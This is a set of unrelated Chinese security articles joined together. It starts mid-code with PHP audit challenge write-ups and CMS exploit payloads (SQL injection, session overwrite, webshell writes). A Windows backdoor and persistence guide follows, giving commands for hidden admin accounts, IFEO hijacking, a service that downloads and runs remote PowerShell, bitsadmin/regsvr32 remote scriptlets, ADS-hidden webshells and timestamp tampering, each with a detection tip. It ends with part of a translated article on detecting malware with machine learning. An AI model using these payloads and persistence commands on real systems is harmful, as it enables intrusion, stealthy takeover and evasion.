->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}
$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
* 题解
**实例化一个LoginManager类名，接收用户传递的user，passwd两个参数，并通过isValid方法判断是否合法，sanitizeInput方法，通过addslashes方法进行过滤，再截取20位返回。**
* addslashes
作用：在单引号（'）、双引号（"）、反斜线（\）与 NUL（ NULL 字符）字符之前加上反斜线
* substr
string substr ( string $string , int $start [, int $length ] )
**返回字符串 string 由 start 和 length 参数指定的子字符串。**
* user
1234567890123456789'
* sql
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
* payload
user=1234567890123456789'&passwd=or 1=1#
## 苹果CMS视频分享程序 8.0
* 环境搭建
#### 漏洞分析
* inc/common/template.php:754
**$lp['wd']直接拼接SQL语句，造成SQL注入**
* inc/module/vod.php:96
* inc/common/function.php:266
**对传进来的参数进行过滤**
在 _$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] :
@addslashes($_REQUEST[$key]) : '';_ 中可以知道wd参数是通过REQUEST方法获取的然后进行过滤。
* inc/common/360_safe3.php:27
**跟踪chkSql函数**
_将传进来的参数进行urldecode解码之后，通过StopAttack方法，最后通过htmlEncode方法，最后返回。_
* inc/common/360_safe3.php:12
_跟进StopAttack方法，使用preg_match方法进行过滤_
* inc/common/360_safe3.php:57
_跟踪$getfilter方法_
* inc/common/function.php:572
_跟踪一下htmlEncode方法，针对 & 、 ' 、 空格 、 " 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换_
* inc/common/template.php:560
_而 wd 是可以从 REQUEST 中获取到，所以wd 实际上是可控的。_
* 漏洞思路
_SQL注入点是字符型注入，htmlEncode方法实体编码了单引号，最后进行了url解码操作，可以通过双编码绕过，htmlEncode方法没有过滤反斜杠，而addslashes方法会过滤反斜杠。_
* 构造SQL
wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
## 从变量覆盖到getshell
### Snowman
* code
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);
* payload
id=shell.pho&shell=',)%0a//
* 测试
### DuomiCMS_3.0
* 环境搭建
#### 漏洞分析
* duomiphp/common.php:52
_查看全局变量注册代码_
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
* duomiphp/common.php:36
_查看_RunMagicQuotes方法, _RunMagicQuotes 函数将特殊符号，使用 addslashes 函数进行转义处理_
* admin/admin_ping.php:13
_全剧追踪fwrite函数，$weburl与token来源于post，可控。_
_weburl 变量和 token 变量从
POST方式获取，经过了_RunMagicQuotes方法还有webscan.php的过滤，但是可以写shell_
**admin\admin_ping.php文件得需要admin身份才可以有访问权限写shell**
* admin/config.php:28
* duomiphp/check.admin.php:41
* admin/login.php:62
* duomiphp/check.admin.php:72
_跟进checkUser方法_
* 登陆管理用户查看组
_可知用户组和userid均为1_
* 覆盖 session 的值
**重点注意这里git项目上的覆盖session有问题，可以使用这个payload**
member/share.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1
* payload
```POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.test.com:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,
_/_ ;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
weburl=";phpinfo();//&token=
- 测试
## $_SERVER['PHP_SELF']导致的防御失效问题
### Sleigh Ride
- code
```php
class Redirect {
private $websiteHost = 'www.example.com';
private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}
public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}
if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}
* 环境搭建
* 题解
_代码实现的功能实则为一个URL跳转的功能，PHP_SELF 指当前的页面绝对地址。_
* payload
/index.php/http:%252f%252fwww.syst1m.com?redirect=1
* 测试
_跳转到了我的博客_
## 深入理解$_REQUESTS数组
### Poem
* code
class FTP {
public $sock;
public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);
$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}
private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}
public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}
public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}
public function send($data) {
fputs($this->sock, $data);
}
}
new FTP('localhost', 21, 'user', 'password');
* 题解
_mode是通过request传进来的，在cleanInput方法中将get、post、cookie传进来的全部通过intval函数过滤_
* REQUEST
* payload
?mode=1%0a%0dDELETE%20test.file
## Raw MD5 Hash引发的注入
### Turkey Baster
* code
class RealSecureLoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input) {
return addslashes($input);
}
$c = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}
* md5(计算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )
* 题解
_auth新建了一个RealSecureLoginManager对象，传进去POST的user和passwd。在md5方法中，如果可选的
raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。_
* fuzz
* payload
user= OR 1=1#&passwd=128
* SQL
select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'
### 实例分析
* 题目地址
http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
### 分析
* 查看源代码
* password
md5($password,true)
* payload
password=ffifdyop或者129581926211651571912466741651878684928
* 测试
## Tips整理
* in_array
第三个参数未设置为true,可利用弱类型比较绕过
* filter_var（url过滤）
未对协议进行校验，可利用xxx://绕过
* class_exists
当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
* strpos
strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
* filter_var (FILTER_VALIDATE_EMAIL)
filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
* escapeshellarg与escapeshellcmd
escapeshellarg与escapeshellcmd配合使用会存在绕过
* parse_str
parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量
* preg_replace
$pattern 存在 /e 模式修正符，允许代码执行
/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
* extract
从数组中将变量导入到当前的符号表
* readfile
可利用 ../http/../../ 跳过目录（如检测关键字https是否存在）
* 截断
%00 遇到遇到函数过滤会成为\0
* 反序列化
[PHP 反序列化漏洞学习](https://syst1m.com/post/php-deserialization/)
* htmlentities
将字符转换为 HTML 转义字符
_ENT_COMPAT（默认值）：只转换双引号。
ENT_QUOTES：两种引号都转换。
ENT_NOQUOTES：两种引号都不转换。_
* $_SERVER['REQUEST_URI']
获取的参数是不会将参数中的特殊符号进行转换
* HPP
id=1&id=2 只会接收第二个参数
* md5(计算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )
_在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。_
* eregi截断漏洞
_ereg可用%00截断,要求php <5.3.4_
ereg编码%00时发生截断,不会检查%00后面的字符(%00算作1个字符)
* ssrf
[ us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) | 社区文章 |
# TL；DR
* Definition - What does Persistence mean?
Persistence refers to object and process characteristics that continue to
exist even after the process that created it ceases or the machine it is
running on is powered off. When an object or state is created and needs to be
persistent, it is saved in a non-volatile storage location, like a hard drive,
versus a temporary file or volatile random access memory (RAM
* 这里把自己认知里面的一些windows backdoor和persistence的方式方法总结一下，并尽量持续更新。
# 常见backdoor和persistence方式方法
### 系统工具替换后门
* 顾名思义就是替换系统自带的可执行文件进行利用，有直接替换及通过注册表替换方式，直接替换不用解释，本地编译好直接复制替换即可，当某个行为行为触发执行这个可执行文件的时候，后门即被执行（早期的粘滞键后门（即shift即是直接替换后门），注册表的话可以通过以下命令实现任意可执行文件的劫持。
Image 劫持辅助工具管理器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
* 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
* 优点：简单
* 缺点：易被检测
* 排查：工具autoruns
* 20191016更新
参考文章[打造不一样的Shfit映像劫持后门](https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483994&idx=1&sn=4041632680d059c6d9ed0aba0701ca71&chksm=cf4d8d3bf83a042d23216c02418ccbd377103f65b1b0eed0cbad61b055966bccd24c7637e495&mpshare=1&scene=23&srcid=&sharer_sharetime=1571196868049&sharer_shareid=be7a01e2434a36782542fb17e9d2a6e8#rd)
用到了windows
sdk里的gflags.exe工具([工具下载地址](https://kevien.github.io/downloads/gflags.rar))，这个工具里面有个silent
process
exit功能，大意是在调试某个程序静态退出的时候可以关联绑定某个程序去静默执行，工具对注册表一些键值进行了修改，此外通过autoruns工具检测不出来。
### 后门账号
* 创建克隆administrator账号，且通过命令net user 以及控制面板中的管理账户无法看到。
1.创建后门用户
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add
2.之后将administrator用户对应的Users中的F值复制替换后门账户的F值
3.导出User下面的后门账户以及name下面的后门账户两个文件。
4.通过命令删除刚才的后门用户
net user defaultuser0$ /del
5.通过注册表导入刚才保存的两个注册表
* 参考文章 [Windows系统的帐户隐藏](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/)
### 明文账号记录
* 安全支持提供程序（SSP）是Windows API，用于扩展Windows身份验证机制。 LSASS进程在Windows启动期间加载安全支持提供程序DLL。这个时候攻击者可以将精心构造的dll加载之，这个dll可获取到lsass进程中的明文账号密码信息。mimikatz(mimilib.dll或memssp内存补丁方式)实现了这一功能，并把记录到的明文账号密码信息保存在本地。
* 详见文章[Persistence – Security Support Provider](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
### 文件隐藏
#### attrib命令隐藏
* windows自带命令行工具attrib用来显示或更改文件属性。
~~* 优点:简单,一般的工具(D盾)扫描不到~~
* 优点:简单
* 缺点:易发现
* 排查:使用attrib命令或显示隐藏文件和受保护的操作系统文件即可发现。
#### 使用ADS流隐藏webshell(重点!!)
* 1993年微软推出了基于流行的NT平台的Windows NT操作系统。之后，NTFS作为WIndows开发基于NT的操作系统时的首选文件系统，逐步取代被应用于旧版Windows操作系统（比如Windows 9x）的文件系统，即FAT（File Access Table）。
* NTFS中的备用数据流（Alternate Data Stream，ADS）允许将一些元数据嵌入文件或是目录，而不需要修改其原始功能或内容。
* 在NTFS中，主数据流指的是文件或目录的标准内容，通常对用户可见，而备用数据流（ADS）则隐藏。如果要查看备用数据流，可以使用dir命令的/R选项，或是Windows提供的streams.exe工具，没有可用的API。
* ADS没有大小限制且多个数据流可以和一个正常文件关联。ADS的内容也不仅限于text文本数据，基本上只要是二进制格式文件都可以被作为ADS备用流嵌入。
* 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接，可以使用php的include去包含执行
文章参考：[利用ADS隐藏webshell](https://www.cnblogs.com/xiaozi/p/7610984.html)
文章参考： [Windows
ADS在渗透测试中的妙用](https://www.freebuf.com/articles/terminal/195721.html)
* 此外应该注意修改文件的timestamp，可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example：
Set the last-access time for a file aaa.csv to the current time: $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
* 优点：较难检测
* 缺点：暂无
* 排查： dir /r
### 计划任务
* windows下可使用schtasks和at命令创建计划任务，其中at命令在新版的windows中已被弃用。
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"
# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"
# At command
at 1:00AM /Every:Saturday My_BackUp.bat
在每个Saturday的早上1:00点，定时启动My_BackUp.bat批处理文件。
* 优点：简单
* 缺点：易被检测
* 排查： schtasks /query 命令进行查询或者通过计算机的管理查看，注意在windows的中文版系统中，schtasks命令需要切换字符为美国英语格式，使用命令chcp 437，或者直接工具autoruns。
### 开机启动项
* 实现开机自启的方式有很多种（[详细大家可以参考autoruns检测项及原理](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)），其中注册表也有好多项可实现开机自启。
HKEY_CURRENT_USER\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
命令
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\mal.exe"
* 优点：重启权限维持
* 缺点：一般杀软均会拦截
* 排查：一个一个手工查太麻烦，建议直接上autoruns。
* 20191022更新
* 利用windows原生API去创建regedit.exe不能展示和导出的键值对
* 详见文章[invisible Reg Values](https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf),缺点只是通过regedit.exe查看时候有隐藏效果，通过autoruns等工具还是会被发现。
### 服务
* Windows服务是指Windows NT操作系统中的一种运行在后台的计算机程序。它在概念上类似于Unix守护进程。Windows服务可以配置为在操作系统启动时运行，并且在Windows运行期间持续在后台运行。服务也可以手动或基于某个事件而启动。我们可以通过运行services.msc查看当前系统的服务情况。
sc create [ServerName] binPath= BinaryPathName
例如创建一个名为主动防御的服务。
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://ip/a')"
设置为自动运行
sc config "主动防御" start= auto
删除服务
sc delete "主动防御"
* 优点：重启权限维持
* 缺点：一般杀软会拦截
* 排查：工具autoruns
### waitfor.exe
* 不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe
[详细参考](https://github.com/3gstudent/Waitfor-Persistence)
* 优点：远程主动激活
* 缺点：有waitfor进程
* 排查：通过Process Explorer工具查看是否有waitfor.exe进程，并进一步查看启动参数等。
### bitsadmin后门
* Bitsadmin从win7之后操作系统就默认包含，可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务：
bitsadmin /create backdoor
#添加文档：
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
#设置下载成功之后要执行的命令：
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务：
bitsadmin /Resume backdoor
* 可以参考这篇文章
[bitsadmin-backdoor-权限维持后门](https://paper.tuisec.win/detail/77720db7618e92c)
* 优点：系统自带无需上传
* 缺点：免杀效果一般
* 排查：bitsadmin /list /verbose
### WMI后门(重点!)
* 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。[更多可以参考](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)
* 在empire中有相应的module，作者参考使用了[Powersploit](https://github.com/PowerShellMafia/PowerSploit/blob/9e771d15bf19ab3c2ac196393c088ecdab6c9a73/Persistence/Persistence.psm1)里面的代码。
* 后门在系统重启五分钟之内触发且是system权限。
* 优点：无文件，相对来说难以排查
* 缺点：暂无
* 排查：工具autoruns
### COM劫持
* 什么是COM，说白了，就是一堆功能相关的interface，它是某种语言向另一种语言暴露功能的最大单位。
COMcomponent（COM组件）是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下，人们可以开发出各种各样的功能专一的组件，然后将它们按照需要组合起来，构成复杂的应用系统。
由此带来的好处是多方面的：可以将系统中的组件用新的替换掉，以便随时进行系统的升级和定制；可以在多个应用系统中重复利用同一个组件；可以方便的将应用系统扩展到网络环境下；COM与语言，平台无关的特性使所有的程序员均可充分发挥自己的才智与专长编写组件模块。
* COM的最核心的思想，说白了就是要做个跨语言的 “class” “object” “function” 。COM劫持，从根本上来说，就是在程序读取注册表信息中的DLL或者EXE功能的路径上，做一个拦截，让程序提前读取我们的设置好的恶意DLL或者EXE。原理其实和DLL劫持差不多。
* 可以参考文章[COM组件劫持原理与实践](http://sh1yan.top/2019/06/29/Principle-and-Practice-of-COM-Component-Hijacking/)[打开文件夹就运行？COM劫持利用新姿势](https://www.freebuf.com/articles/system/115241.html)
* [利用CLR实现一种无需管理员权限的后门](https://www.4hou.com/technology/6863.html) "主动型"后门，WMI添加环境变量需要重启系统生效
* 优点:隐藏性较好,autoruns查不到
* 缺点:暂无
* 排查:检查环境变量和注册表键值
### meterpreter 权限维持
* meterpreter中的权限维持技术有两种，一种是metsvc的后门(服务后门)，另外一种是persistence(注册表后门)
* metsvc 是开机自启动的服务型后门
[metsvc代码](https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/scripts/meterpreter/metsvc.rb)
* persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。
[persistence代码](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/persistence_exe.rb)
* 优点：开机自启动
* 缺点：容易被杀软杀
* 排查：像是这种后门使用autoruns基本都可以排查出来。
### Empire persistence模块(重点!!)
* Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
* 工具还把权限维持分为了四大类，userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持，重启后失效)、miscellaneous(其它)。
* 通过info命令查看使用方法
[更多可以参考文章](https://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/)
* 优点:基本集成了大部分的权限维持方法
* 缺点：暂无
* 排查：工具autoruns
### 进程注入(重点!!)
* 准确来说进程注入不是后门技术或者权限维持技术，而是一种隐藏技术，这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入，一般可以注入到像是lsass或者explorer这样的进程当中，相对比较隐蔽，较难排查。
* 使用方法这里就不介绍了，主要说一下如何hunting。这篇文章[TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS](https://holdmybeersecurity.com/2019/02/27/sysinternals-for-windows-incident-response/)里面介绍了如何hunting empire方法，empire有一些evasion detection机制，其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测，文章中也介绍了使用process monitor是最快也是最有效的方法。
* 但是在hunting 进程注入的时候，并没有像文章中说的查找到以起始地址为0x0的线程，但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
* 优点：较难排查
* 缺点：暂无
* 排查：工具process explorer 、process monitor
### 捆绑后门
* 捆绑的意思就是恶意程序以一个正常的程序（可以是程序也可以是文件如doc、pdf、jpg等）为载体，当这个“程序”执行的时候恶意程序即可运行。用于捆绑钓鱼的工具有很多，像是BDF应该是比较早的一款工具，但现在好像不怎么免杀了，前段时间看过现在都在用NimFileBinder这个工具进行捆绑，且免杀一些常见杀软，这个主要是利用了Nim这个小众语言做的（类似go，一些小众语言有时能做到很好的免杀）。
* 参考 [利用BDF向EXE文件植入后门](https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91EXE%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/)
[Kali Linux: Backdoor-factory
tool](http://2001586161veronika.blog.binusian.org/2018/05/30/backdoor-factory/)
[NimFileBinder：钓鱼攻击载荷捆绑利器](https://m.freebuf.com/sectool/290302.html)
* 当拿到内网权限之后，可以在存放公共下载的服务器上给某个软件加上这样的后门。
### IIS模块后门
[手把手带你开发一款 IIS 模块后门](https://forum.90sec.com/t/topic/415)
### 域环境后门
* [域内配置ACL后门及检测清理](https://www.freebuf.com/articles/system/189942.html?utm_source=tuicool&utm_medium=referral)
* [PasswordchangeNotify](https://github.com/kevien/PasswordchangeNotify)
* [域后门相关文章](https://www.anquanke.com/member/127729)
# other
* 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
* 抛砖引玉，更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
* 附上本人博客地址，欢迎一起交流学习:> <https://kevien.github.io/>
# Reference
[Intranet_Penetration_Tips](https://github.com/Ridter/Intranet_Penetration_Tips)
[Nothing Lasts Forever: Persistence with
Empire](https://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/)
[EDR检测持久化Persistence入门](https://www.secrss.com/articles/8419)
[smbbackdoor](https://github.com/zerosum0x0/smbdoor) | 社区文章 |
# 【技术分享】机器学习在恶意软件检测中的应用
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/machine-learning-malware-detection/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
机器学习是计算机科学的一个分支学科，目的在于赋予计算机从数据中学习的能力，使计算机能够有效利用当今互联网中存在的PB量级的数据，为人们在决策制定、任务执行方面提供帮助支持，这些工作对人们而言复杂度很高且耗时巨大。
恶意软件是企业和用户每天面临的紧迫威胁。无论是钓鱼邮件还是通过浏览器直接投放的漏洞利用工具，这些恶意软件可以与多种规避技术和其他安全漏洞相结合，将现有的防御系统远远抛在脑后。诸如Veil、Shelter等恶意软件框架已经被专业人士用于渗透测试中，取得了非常不错的效果。
今天我将向读者介绍机器学习如何在不使用特征值检测和行为分析方法前提下来检测恶意应用。
顺便提一句，像CylanceProtect、SentinelOne、Carbon
Black之类的安全产品在特征值检测和行为分析方面做了很多工作，本文介绍的恶意软件检测框架不会涉及这些产品所使用的这两类技术。
**二、机器学习简介**
机器学习这个分支学科融合了数学中的多个领域，主要包括统计学、概率论、线性代数以及数学计算（如算法、数据处理、数值计算）。机器学习能够深入挖掘大数据价值，被广泛用于欺诈检测、垃圾邮件检测、电影推荐、饮食及产品购买推荐等各方面。亚马逊、Facebook以及Google等数百家公司也使用机器学习来改进他们的产品及服务。
机器学习主要方法有两种：有监督学习（supervised learning）和无监督学习（unsupervised
learning）。有监督学习中，我们要处理的数据已事先打上标签，无监督学习则与之相反。两种方法都可以用于恶意软件检测，但我们主要关注第一种方法，因为我们的目标是对文件进行归类。
分类（classification）是有监督学习的一个子域，分类对象可以是二进制文件（恶意或非恶意软件）或其他类型对象（阿猫、阿狗、阿猪等等），因此恶意软件检测属于二进制文件分类范畴。
机器学习的详细介绍不在本文范围内，你可以通过多种渠道了解详细信息，也可以查看附录中的资源来深入学习。
**三、问题集**
机器学习的工作流程包括定义问题、收集数据、整理数据（使数据符合训练要求）、使用算法处理数据。这一系列步骤需要消耗大量资源，因此对普通人而言，机器学习在具体实现上较为困难。这些步骤称之为机器学习的工作流程，也是机器学习所需的最少步骤。
对于本文设定的场景，我们首先需要定义工作流程：
1、首先，我们需要收集恶意软件样本，剔除大小小于10k的那些样本。样本数量越多越好。
2、其次，我们需要从样本中提取有意义的特征，这些特征也是我们研究的基础。所谓的特征指的就是能够描述对象的那些属性，比如，一栋房子的特征包括：房间数、房屋面积、房屋价格等。
3、提取特征后，我们需要对样本进行处理，构建样本数据集。数据集可以是一个数据库文件或一个CSV文件，以便于转化为数据向量，因为机器学习算法的计算对象是向量。
4、最后，我们需要一个衡量指标来评价二进制文件的分类结果。有多种指标可以用来衡量算法的性能，如ROC（Receiver Operating
Characteristic，试者工作特征）、AUC（Area Under roc Curve，ROC曲线下面积）、混淆矩阵（Confusion
Matrix）等。这里我们使用的是混淆矩阵指标，因为它能够反应结果的正确比率以及假阳性比率、假阴性比例。
**四、收集样本以及特征提取**
本文假设读者已经了解PE文件格式的相关知识，或者读者也可以先从这里学习基础知识。收集样本非常简单，你可以使用付费服务（如VirusTotal）或者使用这个链接中的样本源。
现在我们开始讨论建模问题。
为了让我们的算法能够从输入的数据中学习，我们需要清理数据，使之整洁且易于理解。本文中，我们使用12个特征来训练算法，这12个特征提取自样本文件，保存在CSV文件中。
**（一）特征提取**
我们使用pefile提取样本特征。首先是使用python下载pefile，命令如下：
pip install pefile
工具准备完毕，在开始写代码前，我们先讨论一下我们到底需要提取哪些特征。对于一个PE文件来说，我们关心的主要是以下几个特征字段：
1、主映像版本（Major Image Version）：表示应用程序的主版本号。对于4.0版本的Excel而言，该值为4
2、IMAGE_DATA_DIRECTORY的虚拟地址以及大小
3、操作系统版本
4、导入地址表（Import Address Table）地址
5、资源区大小
6、区段个数
7、链接器版本
8、保留栈大小
9、DLL属性值
10、导出表大小和地址
为了使代码结构更为清晰，我们使用类对象来表示PE文件信息，类结构如下所示：
import os
import pefile
class PEFile:
def __init__(self, filename):
self.pe = pefile.PE(filename, fast_load=True)
self.filename = filename
self.DebugSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[6].Size
self.DebugRVA =self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[6].VirtualAddress
self.ImageVersion = self.pe.OPTIONAL_HEADER.MajorImageVersion
self.OSVersion = self.pe.OPTIONAL_HEADER.MajorOperatingSystemVersion
self.ExportRVA = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[0].VirtualAddress
self.ExportSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[0].Size
self.IATRVA = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[12].VirtualAddress
self.ResSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[2].Size
self.LinkerVersion = self.pe.OPTIONAL_HEADER.MajorLinkerVersion
self.NumberOfSections = self.pe.FILE_HEADER.NumberOfSections
self.StackReserveSize =self.pe.OPTIONAL_HEADER.SizeOfStackReserve
self.Dll =self.pe.OPTIONAL_HEADER.DllCharacteristics
现在我们写个简单的函数，为每个PE文件构造一个字典，字典的键为特征字段，其值为特征值，这样每个样本都可以表示为一个python字典对象。如下所示：
def Construct(self):
sample = {}
for attr, k in self.__dict__.iteritems():
if(attr != "pe"):
sample[attr] = k
return sample
现在我们写个脚本，遍历文件夹中的所有样本，将生成的特征字典保存为csv文件，如下所示：
def pe2vec():
dataset = {}
for subdir, dirs, files in os.walk(direct):
for f in files:
file_path = os.path.join(subdir, f)
try:
pe = pedump.PEFile(file_path)
dataset[str(f)] = pe.Construct()
except Exception as e:
print e
return dataset
